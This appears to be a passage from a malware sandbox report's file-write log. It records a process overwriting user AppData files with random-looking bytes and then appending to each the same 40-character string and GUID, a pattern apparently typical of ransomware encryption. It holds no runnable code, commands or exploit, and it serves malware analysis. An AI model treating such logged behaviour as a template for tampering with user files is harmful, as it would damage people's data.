fd 6a 63 fd fd fd 78 fd 3b 
fd fd fd fd fd 76 2c fd fd 
3a fd fd 04 17 48 fd 70 fd 
4b fd fd 5a fd fd fd fd fd 7c 
fd 48 43 fd fd fd 4c fd 1f 
56 7d fd 79 fd fd fd fd 31 
fd 79 05 63 44 fd fd 7f fd 
a5 0c fd 69 00 fd fd 09 08 
fd fd fd 4f fd 29 14 fd fd 
67 fd 08 fd 0d 33 fd 3d fd 
fd 57 fd 6e 1a 0c 59 fd fd 
5d 58 fd 38 fd 70 fd 6b fd 
51 fd fd 54 35 fd 5c fd 0c 
fd 37 fd 07 fd 55 fd 22 fd 
d5 fd 4e 79 7f fd 46 0d 36 
fd 1b 07 fd 3c fd 5b fd 

7ddC47J/sb:yORLzHb#x
Ay ._0dsFc
@is(G^jcx;v,:HKZ|HCLV}
y1ycDiO)
g3=Wn]X8pkQT5\7U"Ny
F6<[

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Te
mp\chrome_installer.log

21529 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Te
mp\chrome_installer.log

21569 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\Te
mp\JavaDeployReg.log

5 84 fd 68 68 fd fd 19 fd fd 0e 
0f fd 0f fd fd 3a fd 06 fd 
4a 33 fd 5a fd 7e 5f 09 78 
28 0a fd fd 72 fd fd 4a 48 
fd 63 6f 55 fd 2b fd 0d fd 
fd fd 7d fd fd fd fd fd 2f fd 
34 9b 4a fd 42 74 fd 1e fd 
15 fd 68 fd fd fd 39 fd fd 
55 3b 54 45 fd 

hh:J3Z~_x(rJHcoU+}/4JB
th9U;E

success or wait 1 411859 WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Te
mp\JavaDeployReg.log

89 256 fd 01 fd fd 37 36 fd fd fd 
6e 54 fd 6c fd 5a 6c fd 81 
41 2a 3d fd 4a 74 fd 14 
62 22 2d fd fd 67 54 fd 34 
fd 23 53 61 fd fd fd fd 55 
fd 4f fd 44 fd 61 fd 39 0c 
67 54 6d 4f 7b 13 fd 11 
64 fd 7d fd fd fd 14 36 fd 
56 fd fd fd 2f 09 74 fd 15 
fd 49 00 61 fd 34 29 fd 46 
fd 07 fd 4d 27 3d 7c fd 0a 
fd fd 31 fd 26 73 10 7e 00 
fd 22 fd fd fd fd 77 07 fd 
73 4b 54 fd 13 6c fd 0f 56 
fd fd 22 fd 7e fd 65 fd 35 
6f 80 fd fd fd 6f fd 46 76 
fd fd 39 4c fd 6c 60 fd 07 
fd 76 29 0d 7e fd 3b fd 78 
7a fd fd 86 fd fd fd 25 fd 
17 fd 4c 54 fd 7b fd fd 63 
15 fd 4a fd 34 fd 5d fd 72 
fd 38 fd fd fd 40 fd fd 5f 
44 fd fd 6e fd 5b fd fd 7f 
45 47 fd fd 00 b9 0e 32 
40 58 1e 36 15 fd 11 46 
0d fd fd 62 5d 73 fd 17 fd 
fd 72 fd 6d fd 1e 20 fd fd 
0a 33 6a 35 55 49 

76nTlZlA*=Jtb"-
gT4#SaUODa9gTmO
{d}6V/tIa4)FM'=|1&s~"ws
KTlV"~e
5ooFv9Ll`v)~;xz%LT{cJ4]
r8@_Dn[EG2@X6Fb]srm 
3j5UI

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Te
mp\JavaDeployReg.log

345 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Te
mp\JavaDeployReg.log

385 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\Te
mp\tmpEAC.tmp

5 153600 1c fd fd 7f fd 1a fd 7b 13 
fd 3d fd fd 3a fd 6f 78 fd 
fd 2b 4e 08 76 06 69 fd 
31 40 fd fd 3e 7f 0d 0d fd 
2f 39 4e 63 0d 31 53 fd 
5e fd 45 3b fd fd fd fd 0a 
fd 6e fd fd fd 5f fd fd 2f fd 
fd 67 58 fd fd 54 49 62 16 
1e 6f 52 14 fd 57 29 fd fd 
5e fd fd 3f 1d 5a 2a 21 10 
fd 07 6b fd fd fd 6b fd 18 
41 1b 0b 6b 0d 66 fd fd fd 
69 10 fd fd fd 66 fd fd 64 
65 0c fd fd 11 42 02 fd fd 
28 1a fd fd 41 fd 3c fd 09 
15 fd 26 fd fd fd 61 0a fd 
fd 11 fd 11 4d 7c 0b fd 40 
3a 76 fd 44 fd 7b fd 46 00 
fd 56 66 fd c3 fd 52 fd 4d 
fd 25 fd 3e fd fd 70 fd 64 
4e 5f 3d fd fd 50 08 27 fd 
fd fd 3d fd 50 63 fd 54 76 
30 30 1c fd 79 06 41 fd fd 
0b fd fd 00 49 0e 20 fd fd 
22 fd fd 25 fd 27 0a 2c 37 
04 fd 18 fd 48 26 4c fd fd 
5d 39 fd fd fd fd fd 34 

{=ox+Nvi@>/9Nc1S^E;n_
/gXTboRW)^?
*!kkAkfifdeB(A<&aM|@:v
D{FVfR
M%>pdN_P'=PcTv0yAI 
"%',H&L]94

success or wait 1 411859 WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Te
mp\tmpEAC.tmp

878080 256 05 fd fd 92 fd 6d 24 fd 2e 
15 fd 23 fd fd fd 1b 05 7a 
fd fd fd fd 66 46 10 0f fd 
fd 21 fd fd fd fd fd 71 fd 
36 69 61 fd 3f 54 fd 27 5d 
fd fd fd 03 c9 fd 51 57 cb 
2b fd 00 45 22 fd 6b 65 
66 fd 0c 30 fd fd fd 26 5a 
23 fd 1e fd 3c fd 4e 0e fd 
3c fd 38 fd fd 67 64 fd 69 
2a fd 45 fd 5b fd fd 08 fd 
0c fd 60 3d 0c 43 fd 10 
7d 03 66 fd fd 3e 0b fd 4b 
fd 10 fd 15 4c fd fd 20 fd 
fd 36 fd 3a fd fd fd fd 2d 
fd fd fd fd 6e 73 67 7b 26 
7c 60 25 fd 5e 6e fd fd fd 
fd 0a 23 7b fd 7a fd fd fd 
fd 10 4e fd 4f fd 33 fd 1c 
5f 74 fd 48 fd 60 5c 70 36 
36 fd 36 18 fd 10 fd fd fd 
bb fd fd 20 44 fd fd fd fd fd 
32 fd 35 7e 4d 99 49 fd 
48 10 6c fd 10 fd fd fd fd 
fd 19 fd 33 58 fd fd fd 4a 
04 06 30 61 fd 85 fd 02 
e4 02 fd fd 

m$.#zfF!q6i?
T']QW+E"kef&Z#<N<8
gdi*E[`=C}f>KL :-
nsg{&|`%^n#{z
NO3_tH`\p666 
D25~MIl3XJ0a

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Te
mp\tmpEAC.tmp

878336 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Te
mp\tmpEAC.tmp

878376 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\Ad
obe\Color\ACECache11.lst

5 593 fc 74 42 30 fd 3d 01 2d 
5c fd fd 57 fd fd 0e 58 77 
1d fd 3a fd 74 fd fd 52 fd 
fd fd 3d fd 01 a9 fd 37 2b 
fd 65 fd 03 fd 20 fd fd 3d 
fd 2f fd 7f 21 fd fd 25 fd fd 
fd fd fd fd 30 fd fd fd 66 f5 
66 fd 3a 78 52 7f 41 07 fd 
53 fd cf fd 25 5f 76 fd fd 
fd fd 54 fd fd 16 17 7b 2f 
fd 44 fd 32 30 fd 53 73 72 
fd 52 fd 66 fd 12 fd 59 fd 
fd 3b 2e 64 fd 40 fd 34 2a 
56 0b fd 02 51 fd 06 fd 46 
12 33 3d fd 6a fd fd 66 7a 
4e 3f fd 07 fd 49 1c fd fd 
22 fd fd 3a fd 73 2a 5f fd 
14 fd 6d 5b 43 fd 4b fd fd 
fd 23 fd fd 18 0e 27 40 fd 
fd 6c fd 39 fd fd fd 1f fd 
49 fd 24 26 7b fd 58 fd 39 
60 fd 67 fd fd 7d fd 3c fd 
2c 3b 5d 2b 0e fd 3c fd fd 
69 7d 2a 05 fd 55 5e 4f 
10 08 fd 3c 0e 4a fd 59 
53 fd 6d fd 13 77 fd 30 fd 
fd fd fd 49 2a 21 fd 08 fd 

tB0=-\WXw:tR=7+e 
=/!%0ff:xRAS%
_vT{/D20SsrRfY;.d@4*V
QF3=jfzN?
I":s*_m[CK#'@l9I$&
{X9`g}<,;]+<
i}*U^O<JYSmw0I*!

success or wait 1 411859 WriteFile
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C:\Users\user\AppData\Local\Ad
obe\Color\ACECache11.lst

598 256 fd 53 fd 18 4f 75 fd fd 46 
7f fd 68 fd fd fd fd 87 fd 
0c 5e fd 0e fd fd fd 4c 30 
fd fd 22 5d 22 00 fd 29 1c 
08 fd 04 fd 03 0d 98 1d fd 
7b fd 12 2f 3e 50 fd 1c 3c 
0c fd fd fd 1d fd 36 fd fd 
5c fd fd 30 2e fd fd 39 1c 
5f fd 21 0a fd 52 fd 57 72 
fd fd 11 fd fd fd 5c fd 48 
51 5b 6d 16 7f 69 fd 21 
61 15 fd fd fd fd fd 41 fd 
fd 7b 21 fd 69 28 6c 6b 
64 fd 64 6e fd fd 46 1e 3a 
2a 2c 09 59 fd 3e fd 62 fd 
77 63 52 fd fd fd 5d 2c 2b 
fd fd fd 1f fd 24 6c fd fd fd 
fd 4d 69 fd 2b fd 40 fd fd 
51 7c 62 6f 7a 14 42 fd 5f 
4c 39 fd 31 16 fd 28 fd fd 
fd fd 39 7f fd fd fd 35 12 
fd 5d fd 70 51 0c 6e fd 4d 
48 5c fd 17 fd fd 02 66 4b 
72 fd 62 40 7e 0b fd 3f 3b 
68 fd 4a fd 0f 39 66 06 48 
5a fd fd 3a fd 58 fd 49 fd 
59 fd fd 39 60 fd 0c 1e 2a 
fd fd 

SOuFh^0"]")
{/>P<6\0.9_!RWr\HQ[
mi!aA{!i(lkddF:*,Y>bwcR],
+$lMi
+Q|bozB_L1(95]pQnMH\f
Krb@~?;hJ9fHZ:XIY9`*

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Ad
obe\Color\ACECache11.lst

854 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Ad
obe\Color\ACECache11.lst

894 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USS.jcp

5 8187 fd 16 fd 2c fd 51 fd 67 fd 
fd fd 51 31 18 fd 63 fd fd 
2b fd fd fd 73 fd 1a fd fd 
3c 2c fd fd 54 fd fd 0b 48 
15 59 13 31 49 64 fd 6f fd 
1a fd 25 49 fd 4b 5a 4b fd 
21 fd 4a fd fd 08 65 37 fd 
28 fd 35 6e 36 fd 6d fd 14 
fd fd 51 1b fd fd 3e 53 1d 
22 fd fd 2b 49 1d 27 19 
50 fd fd fd 12 2c fd 54 fd 
61 01 fd 23 37 fd 29 5c 
6d 3e fd fd 51 7c 64 10 fd 
4f 59 fd 4c 15 72 fd 10 44 
fd fd 78 fd fd 0e 1d 3b fd 
fd fd fd fd 17 67 52 fd fd 
5b fd 44 fd 1c 62 fd fd 30 
fd fd 68 6f fd 2b 44 fd fd 
fd 2d 7c fd 37 58 79 fd 0e 
5f 08 3c 4c fd 76 fd fd fd 
fd 54 fd 31 fd fd 19 65 fd 
fd fd 61 5c fd fd 29 28 34 
76 21 fd 14 fd 1d 20 0d 
5b fd 8d fd 7f fd fd fd fd fd 
fd 2f fd fd 5f fd 6e a4 5b 
fd fd 7e fd 5a 0e 25 50 fd 
1a 40 64 fd 03 24 5e 26 
fd 68 1c 1a 18 fd fd 01 

,QgQ1c+s<,THY1Ido%IK
ZK!Je7(5n6
mQ>S"+I',Ta#7)\m>Q|dO
YLrDx;gR[Db0h+D-
|7Xy_<LvT1ea\)(4v! [/_n
[~Z%P@d$^&h

success or wait 1 411859 WriteFile
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C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USS.jcp

8192 256 4f 11 17 fd 52 fd fd 49 59 
51 fd 29 04 5d fd fd cc fd 
fd fd 32 fd 15 fd fd fd fd fd 
39 fd fd 44 fd 51 21 2b fd 
fd fd 68 3d fd fd 60 24 fd 
36 fd 10 fd fd 32 47 1e fd 
61 fd fd fd 59 fd 38 fd 51 
bc fd fd 0b ea 0c fd 49 fd 
5c fd 54 5a 73 fd 49 4b fd 
fd 67 fd fd 49 fd 59 fd 65 
65 fd 2d 55 fd fd 55 7d fd 
5a fd fd 3c fd fd 77 34 5f 
41 fd 3d 56 17 fd 5b fd fd 
fd 7b 10 fd 29 fd fd fd fd 
fd 27 fd 48 fd fd fd 70 fd 
fd fd 0b fd 6a fd 35 70 2d 
fd fd 64 42 47 fd fd 01 fd 
1c 01 25 7e fd 36 fd 68 fd 
38 fd 6f fd 2e 4e fd fd fd 
28 6f fd 44 fd fd fd fd 6e fd 
e8 2c 20 1b 43 fd fd fd 51 
65 7f fd 1a 35 11 25 fd 2f 
fd fd fd fd 1b fd 52 fd 10 
fd 1d 7b fd fd fd fd 28 38 
fd fd 65 65 6c 4b 05 fd fd 
59 44 fd fd 76 6e 0f 56 fd 
55 20 1c 13 7b 

ORIYQ)]29DQ!+h=`$62G
aY8QI\TZsIKgIYee-
UU}Z<w4_A=V[{)'Hpj5p-
dBG%6h8o.N(oDn, 
CQe5%/R{(8eelKYD
vnVU {

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USS.jcp

8448 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USS.jcp

8488 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USSres00001.jrs

5 153600 0a 06 2c fd 29 53 fd fd 19 
fd 5f fd 6e 53 fd 6e fd 2b 
38 41 fd 4d fd 99 62 fd fd 
fd fd 73 fd 4c fd 53 57 00 
fd fd 0c fd 2f 7f 55 6e 13 
fd 56 fd 3d 04 fd 73 7f fd 
fd 71 fd 1e fd fd 08 49 c1 
fd fd fd 3c fd 79 fd 76 92 
fd fd 76 15 28 fd 51 4b 62 
29 57 fd fd fd fd 20 fd 01 
2f fd 4a fd fd 0c 59 fd 1d 
fd 58 fd fa 04 fd fd 7e fd 
1e 6d fd 07 fd fd fd 3e fd 
1d fd 74 fd 2b fd 7a 6b fd 
fd fd fd 1d 30 fd fd 40 69 
79 2b fd 41 fd fd 7a 4b fd 
4e 7e 2e fd 3a 25 10 2c 
4b 15 27 28 7f 5a fd fd 6e 
fd 0d 2f 49 5d fd fd 0a 39 
18 67 59 fd 7f fd 5e fd f3 
fd 23 fd 12 0f 75 fd fd fd 
fd 66 45 fd fd 7e 51 fd 77 
66 fd 5e 01 10 14 1e 62 
fd 45 fd 61 fd 74 fd fd 36 
6f fd fd 14 66 fd fd 37 4f 
3a 61 fd 06 60 fd fd 77 fd 
5e 1d 4a fd 5d 4c fd 0b fd 
34 0d fd 

,)_nSn+8AMbsLSW/UnV
=sqI<yv(QKb)W 
/JYX~m>t+zk0@iy+AzKN
~.:%,K'
(Zn/I]9gY^#ufE~Qwf^bEa
t6of7O:a`w^J]L4

success or wait 1 411859 WriteFile
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C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USSres00001.jrs

314572
8

256 13 2e 13 39 23 fd 7b fd 
0d 78 fd 05 41 6f fd 11 4d 
fd 5c fd 4c 6e 57 14 6f 2c 
fd fd fd 57 22 2a 09 13 fd 
4f 26 fd 51 62 09 6a 44 
32 57 18 23 fd 4c 7d 7d 
61 30 70 fd fd fd fd ee 7e 
5a fd 59 19 fd fd 7e fd 27 
1f 15 fd e2 fd fd 58 76 fd 
5e 53 3b fd fd fd 5f fd fd 
68 44 fd 1d fd 0d 38 52 
6a 42 5b fd fd 04 fd fd 29 
fd fd 6a 71 14 4f fd fd 03 
3d fd 48 52 76 70 15 6b 
74 48 fd 33 62 1b fd 03 
7b 6c 3f 2a 46 06 40 66 
17 fd fd 3c fd 07 b3 fd 7c 
fd fd 18 fd fd 11 70 01 fd 
29 67 fd 23 fd 4d 7a 76 
1d fd 4e 7c 24 0e 37 fd fd 
fd 05 fd fd fd 27 5d fd 0e 
fd 07 5e 72 fd 72 e9 fd 47 
1c 48 fd fd 7f 6a 68 fd fd 
fd 1f fd 6f 4b 04 fd 1b 29 
12 fd 20 1b 13 7e fd fd 10 
fd 05 fd 26 fd 6d fd 70 87 
e6 1c fd fd 16 fd 4a fd fd 
24 fd fd 05 79 fd 

.9#
{xAoM\LnWo,W"*O&Qbj
D2W#L}}a
0~ZY~'Xv^S;_hD8RjB[)jq
O=HRvpktHb{l?
*F@f<|p)g#MzvN|$7']^rrG
HjhoK) ~mpJ$y

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USSres00001.jrs

314598
4

40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USSres00001.jrs

314602
4

38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USSres00002.jrs

5 153600 fd 3e 01 4b 18 fd fd fd fd 
13 fd fd 0f fd 20 fd 33 fd 
0b 50 11 71 fd 28 0f 3b fd 
fd fd fd 25 54 fd fd 07 5f 
0c 66 2b fd fd fd 2f 17 71 
72 2e 40 b4 fd 58 59 2d 
0e 13 39 50 25 5d fd fd fd 
11 fd 1d 5e fd fd fd fd fd 
2f 20 7e 17 79 fd fd 0b 39 
33 15 fd 88 05 11 10 fd fd 
fd fd 19 34 fd fd 3d fd 2e 
fd 5e 0f fd fd 32 fd fd fd fd 
2a 28 fd 49 fd 19 fd 20 33 
2d 59 fd 79 5b fd 6f fd 59 
30 0b fd fd 69 2a 40 fd fd 
fd 59 28 54 7a 1d 03 fd fd 
fd fd fd a0 fd 5c 74 fd fd 
46 0f e6 fd b0 5e 1f 0e fd 
44 4f fa fd fd 6b 56 fd fd 
fd 19 fd fd 1c 49 10 65 fd 
0e 36 fd fd 25 fd fd 32 fd 
fd 70 fd fd fd fd 1a 4c 5b 
42 fd 19 fd fd 05 7d 4f fd 
45 45 fd fd 5d fd 70 53 fd 
0d 49 fd 3d 0e fd fd fd fd 
fd 6f fd 3e 43 73 fd 39 fd 
fd fd fd 13 27 fd fd 

>K 3Pq(;%T_f+/qr.@XY-
9P%]^/ ~y934=.^2*(I 3-
Yy[oY0i*@Y(Tz\tF^
OkVIe6%2pL[B}EE]pSI=o
>Cs9'

success or wait 1 411859 WriteFile
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C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USSres00002.jrs

314572
8

256 09 fd 67 0d 4a 71 fd fd fd 
fd 55 46 59 45 fd fd fd 52 
25 6f fd fd 2c fd 4e 66 1f 
fd fd 0c fd 25 1a 43 fd fd 
39 fd 3c 64 fd 7e fd fd 25 
5f 29 63 4e fd 55 30 fd cd 
7a 3f fd 12 16 03 fd 2d fd 
20 8c fd 79 61 3e fd 55 
60 fd 19 fd 5c 27 7e 3e fd 
fd fd fd fd 2a 45 06 63 1c 
fd fd fd fd 0f fd fd fd 36 fd 
fd 64 63 fd fd 57 8f 79 fd 
3b 0f 28 fd 5a 39 61 1d 
16 fd 11 6f 22 fd 01 fd 07 
fd fd fd 10 44 44 fd fd 60 
fd 6b fd 69 27 fd fd 4e fd 
07 fd fd 21 d5 fd fd 31 fd 
fd 37 fd 12 36 7b fd f1 79 
fd fd 71 fd fd fd fd fd fd fd 
fd fd fd 63 71 1c 4f 14 ad 
10 45 39 41 3f 2e 51 fd fd 
fd 6e fd fd 62 fd 08 14 fd 
fd fd fd fd fd fd 07 fd fd f0 
fd 50 fd 6e 38 17 fd 46 0c 
21 fd 21 61 55 3a 40 fd 
1a 54 fd 4d fd fd 0f fd fd 
fd 39 61 fd 

gJqUFYERo,Nf%C9<d~
%_)cNU0z?- y
a>U`\'~>*Ec6dcWy;
(Z9ao"DD`ki'N
!16{yqcOE9A?.QnbPn8F!
!a:@TM9a

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USSres00002.jrs

314598
4

40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USSres00002.jrs

314602
4

38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USStmp.jtx

5 153600 3a 61 fd fd 31 59 fd fd fd 
00 fd fd 0b fd fd fd 56 fd 
75 fd 21 52 66 28 fd 0e 2f 
51 fd 4e fd fd 12 30 00 fd 
fd 03 2e 60 fd a1 29 fd 1a 
fd fd 6d 42 fd 5d fd fd 01 
fd 2b 48 fd 29 6a 19 0a 
1a 4d 3e fd fd 52 fd fd 38 
fd fd 6c 73 fd 75 65 fd fd 
fd 4d fd 68 fd fd fd ac fd 
21 fd fd fd fd 30 63 fd 1c 
61 fd 52 fd 25 6e 14 fd 27 
02 fd fd 2a fd 4a fd 4a 24 
50 fd 3d fd fd 0d 35 1e 15 
fd 3e fd fd 6d fd fd 0b fd 
78 fd 1d fd fd fd 3a 04 fd 
34 07 6b 27 60 d5 fd 5d 
73 4a 15 fd fd 60 63 fd 5f 
5d fd 03 fd 05 fd fd 12 fd 
4a 01 fd fd 09 fd fd 56 62 
38 3b fd fd fd fd fd fd 7a 
fd 05 51 5e 6c 42 c0 fd 
12 fd fd 18 0d fd 5a fd 60 
fd fd fd 2a fd 1e 0d fd 63 
fd 26 37 51 08 fd 02 4c fd 
48 fd fd 48 43 17 59 12 
25 fd fd 74 35 fd fd 2d fd 
fd 

:a1YVuRf(/QN0.)mB]+H)j
M>R8lsue
Mh!0caR%n'*JJ$P=5>mx
:4k'`]sJ`c
_]JVb8;zQ^lBZ`*c&7QLH
HCY%t5-

success or wait 1 411859 WriteFile
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C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USStmp.jtx

314572
8

256 0c 57 fd fd 6c 71 12 2d fd 
38 fd fd fd 5b fd fd 4f fd 
60 fd 2e 23 24 72 fd fd 4c 
05 fd fd fd fd 0b fd 66 68 
66 fd 5e 22 fd 64 77 fd fd 
30 1e 76 16 5d 0b 26 fd 
fd 35 71 44 6b 5f 70 fd fd 
7c fd fd fd 4a dc fd fd fd 
50 fd fd 14 7f 77 fd fd fd 
0a bd 11 fd 65 5e 7d fd fd 
7a 5b fd 17 60 fd fd 65 fd 
0b fd fd fd fd 30 54 fd 7e 
fd fd 3d fd b0 2a fd fd fd 
fd 0f 66 fd 34 33 ad fd fd 
fd 7a fd 31 fd fd 40 3c 39 
fd 1d fd fd 23 fd fd 63 fd 
fd fd fd fd fd fd 4d fd 20 
16 fd 1a 13 fd 61 39 34 
38 28 61 3d 39 fd fd fd 4a 
fd fd 63 6b 3f 79 79 4a 37 
fd 73 fd 16 41 2e fd fd 63 
14 27 fd fd b1 78 46 fd 6c 
3a 3c 32 02 1d fd fd 1e 
6a 58 fd 71 fd 51 63 67 fd 
fd 52 fd 3b fd fd e2 20 fd 
fd 63 09 6a fd fd 13 16 3c 
fd fd fd fd 19 24 fd 56 fd 
fd 4c fd fd fd 

Wlq-
8[O`.#$rLfhf^"w0v]&5qDk
_p|
JPwe^}z[`e0T~=*f43z1@
<9#cM a948(a=9Jck?
yyJ7sA.c'xFl:<2jXqQcgR; 
cj<$VL

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USStmp.jtx

314598
4

40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USStmp.jtx

314602
4

38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0\ngen.log

5 330 56 fd fd fd 1a fd 1b 14 2c 
fd fd fd fd fd 30 fd fd 77 fd 
71 fd fd 0a 68 41 79 24 fd 
3d fd 16 fd 18 fd 4a 15 fd 
70 5e 31 fd 28 53 fd fd fd 
3a 42 fd 5f 5f 3f fd 78 31 
fd 05 fd 0a fd 54 fd 41 6f 
5f 12 4b fd fd fd 2d fd fd 
fd 29 fd 77 5d fd 20 6b 06 
0c fd fd 34 60 10 2b 47 fd 
fd fd 40 fd fd 23 16 32 fd 
46 49 24 25 4b 5a fd fd fd 
67 fd fd fd 50 fd fd fd 49 
fd 6b 68 42 1b 08 68 fd fd 
fd fd 4c 4d 18 76 fd fd 13 
fd 1d fd fd fd 55 37 1f fd 
68 5f fd 61 1d fd fd fd 50 
78 15 6f b8 fd 5e 5c 0a fd 
fd fd 01 fd 04 fd fd 7a fd 
61 fd fd 58 54 74 fd 52 16 
fd 3a fd 73 fd fd fd 0c fd 
fd fd 8a fd 21 22 fd 47 5c 
3d fd fd 10 fd fd 7f 29 50 
fd 7f 45 fd 64 01 fd 5e 6d 
13 fd 29 63 67 69 0a 2d 
fd 57 fd 2a fd 56 fd fd 25 
fd 6d 79 30 fd f5 4b fd fd 
fd 

V,0wqhy$=Jp^1(S:B__?
x1TAo_K-)w] 
k4`+G@#2FI$%KZgPIkh
BhLMvU7h_
aPxo^\zXTtR:s!"G\=)PEd
^m)cgi-W*V%my0K

success or wait 1 411859 WriteFile
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C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0\ngen.log

335 256 04 fd fd fd fd 7f 16 48 11 
fd fd 46 09 fd fd fd 1e 4d 
71 fd 08 fd 60 0e fd fd 12 
fd 4e 73 fd fd fd 2b fd 02 
28 33 fd fd 71 1f fd 5c 27 
fd fd fd 18 fd 75 be fd 0a 
fd 64 78 48 fd 6a 67 6a fd 
fd 65 00 fd 1d 07 52 48 fd 
09 fd fd fd 3c fd 0e 25 61 
fd fd fd fd 7a 73 3c 2c fd 
1c 25 13 fd fd 7e fd fd fd 
fd 0e fd fd 26 fd 98 fd 34 
6b fd 55 fd 72 fd fd 6a 21 
3c fd 51 50 fd fd fd fd fd fd 
fd 3c 0a 01 25 41 07 fd fd 
fd 10 38 fd fd fd 5f 04 fd 
